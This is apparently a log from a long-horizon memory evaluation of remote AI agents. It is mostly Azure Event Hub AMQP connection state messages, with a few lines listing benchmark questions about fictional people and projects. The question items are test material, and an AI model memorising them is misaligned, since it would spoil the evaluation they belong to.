+2026-03-13 03:19:54,089 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:54,089 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:54,090 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,090 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:54,090 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,090 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:54,090 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,324 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:54,439 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:54,440 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:54,440 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:54,440 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:54,440 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,440 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:54,440 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,440 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:54,497 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:54,548 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:54,598 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:54,649 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,649 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:54,699 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,699 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:54,909 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:54,967 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,082 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:55,083 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,313 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,422 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:55,476 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:55,526 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:55,576 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:55,627 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,627 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:55,677 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,677 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:55,883 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:55,937 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:56,049 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,291 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:56,409 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:56,409 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:56,409 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:56,409 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:56,410 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,410 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:56,410 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,410 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:56,468 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:56,518 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:56,568 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:56,619 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,619 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:56,669 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,670 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:56,880 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:56,939 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,056 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,056 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,056 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:57,056 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,056 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:57,056 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:57,057 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,300 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:57,417 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:57,417 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:57,417 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:57,417 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:57,417 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,417 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:57,418 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,418 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:57,475 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:57,525 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:57,575 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:57,626 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,626 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:57,676 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,676 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:57,886 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:57,945 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:58,061 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,119 [amplihack.eval.long_horizon_memory] INFO: Turn 100/100 (1.0 turns/s) - block: problem_solving +2026-03-13 03:19:58,119 [amplihack.eval.long_horizon_memory] INFO: Dialogue complete: 100 turns in 97.9s (0 flushes, 0 restarts) +2026-03-13 03:19:58,119 [amplihack.eval.long_horizon_memory] INFO: Starting parallel evaluation: 20 questions, 10 workers +2026-03-13 03:19:58,119 [amplihack.eval.long_horizon_memory] INFO: Question 1/20: What is Sarah Chen's birthday? +2026-03-13 03:19:58,119 [remote_agent_adapter] INFO: Sending FEED_COMPLETE to all 5 agents (20 content turns each)... +2026-03-13 03:19:58,120 [amplihack.eval.long_horizon_memory] INFO: Question 2/20: What allergy does James O'Brien have? +2026-03-13 03:19:58,120 [amplihack.eval.long_horizon_memory] INFO: Question 3/20: What is Fatima Al-Hassan's hobby? +2026-03-13 03:19:58,121 [amplihack.eval.long_horizon_memory] INFO: Question 4/20: What degree does Yuki Tanaka hold? +2026-03-13 03:19:58,121 [amplihack.eval.long_horizon_memory] INFO: Question 5/20: What is the CURRENT deadline for Project Atlas? +2026-03-13 03:19:58,121 [amplihack.eval.long_horizon_memory] INFO: Question 6/20: What was the ORIGINAL deadline for Project Atlas before any +2026-03-13 03:19:58,121 [amplihack.eval.long_horizon_memory] INFO: Question 7/20: How many times did the Project Atlas deadline change? +2026-03-13 03:19:58,122 [amplihack.eval.long_horizon_memory] INFO: Question 8/20: What was the server migration cost according to the internal +2026-03-13 03:19:58,122 [amplihack.eval.long_horizon_memory] INFO: Question 9/20: What percentage over the original estimate was the Q2 market +2026-03-13 03:19:58,122 [amplihack.eval.long_horizon_memory] INFO: Question 10/20: What was the Q1 revenue and how did it compare to forecast? +2026-03-13 03:19:58,295 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:58,403 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:58,404 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:58,404 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:58,404 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:58,404 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,404 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:58,404 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,404 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:58,458 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:58,508 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:58,559 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:58,609 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,609 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:58,660 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,660 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:58,865 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:58,921 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,033 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,033 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:59,034 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,259 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:19:59,366 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,366 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,366 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,366 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:59,367 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,367 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:59,367 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,367 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:59,419 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,470 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,520 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:59,570 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,571 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:59,621 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,621 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:59,826 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,882 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:19:59,993 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:19:59,994 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,216 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:20:00,317 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:00,317 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:00,317 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:00,317 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:00,318 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,318 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:00,318 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,318 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:00,367 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:00,417 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:00,468 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:00,518 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,518 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:00,569 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,569 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:00,771 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,822 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,930 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:00,931 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,172 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:20:01,288 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:01,288 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:01,288 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:01,289 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:01,289 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,289 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:01,289 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,289 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:01,346 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:01,396 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:01,447 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:01,497 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,497 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:01,548 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,548 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:01,757 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,815 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:01,949 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,193 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: None -> +2026-03-13 03:20:02,301 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:02,301 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:02,302 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:02,302 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:02,302 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,302 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:02,302 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,302 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:02,356 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:02,406 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:02,457 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:02,507 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,507 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:02,558 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,558 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:02,763 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,818 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,932 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,932 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,932 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> +2026-03-13 03:20:02,932 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,932 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp._connection] INFO: Connection state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp.session] INFO: Session state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp.management_link] INFO: Management link sender state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp.link] INFO: Link state changed: -> +2026-03-13 03:20:02,933 [azure.eventhub._pyamqp.management_link] INFO: Management link receiver state changed: -> 